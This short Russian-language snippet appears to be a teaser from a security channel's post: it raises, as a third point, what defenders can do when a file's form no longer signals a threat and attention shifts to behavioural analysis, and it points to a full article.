3️⃣ Что делать защитникам, когда форма файла больше ничего не говорит об угрозе, а фокус смещается на поведенческий анализ.
Полный разбор в новой статье. | 2 260 |
